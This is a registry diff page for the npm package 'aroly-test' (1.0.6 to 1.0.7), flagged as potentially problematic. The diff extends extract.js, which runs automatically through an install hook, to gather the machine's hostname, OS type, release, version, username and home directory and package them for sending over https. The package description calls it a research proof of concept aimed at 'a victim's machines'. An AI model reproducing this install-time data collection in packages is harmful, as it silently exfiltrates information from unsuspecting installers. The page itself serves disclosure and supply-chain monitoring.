aroly-test 1.0.6 → 1.0.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of aroly-test might be problematic. Click here for more details.
- package/extract.js +4 -2
- package/package.json +2 -2
package/extract.js
CHANGED
@@ -1,14 +1,16 @@
|
|
1
1
|
const https = require('https');
|
2
2
|
var os = require("os");
|
3
3
|
var hostname = os.hostname();
|
4
|
+
var type = os.type();
|
4
5
|
var version = os.version();
|
6
|
+
var release = os.release();
|
5
7
|
var info = os.userInfo();
|
6
8
|
|
7
|
-
var message = "Hostname: '" + hostname + "', version: '" + version + "', info: " + info;
|
9
|
+
var message = "Hostname: '" + hostname + "', type: '" + type +"', release: '" + release + "', version: '" + version + "', username: '" + info["username"] + "', homedir: '" + info["homedir"] + "'.";
|
8
10
|
|
9
11
|
const data = new TextEncoder().encode(
|
10
12
|
JSON.stringify({
|
11
|
-
content:
|
13
|
+
content: message,
|
12
14
|
})
|
13
15
|
);
|
14
16
|
|
package/package.json
CHANGED
@@ -1,12 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "aroly-test",
|
3
|
-
"version": "1.0.
|
3
|
+
"version": "1.0.7",
|
4
4
|
"description": "This package is a proof of concept used by Antoine Roly to conduct research. It has been uploaded for test purposes only. Its only function is to confirm the installation of the package on a victim's machines. The code is not malicious in any way.",
|
5
5
|
"main": "index.js",
|
6
6
|
"author": "Antoine Roly <antoine.roly@gmail.com>",
|
7
7
|
"license": "ISC",
|
8
8
|
"dependencies": {
|
9
|
-
"aroly-test": "^1.0.
|
9
|
+
"aroly-test": "^1.0.6"
|
10
10
|
},
|
11
11
|
"scripts": {
|
12
12
|
"install": "node extract.js"
|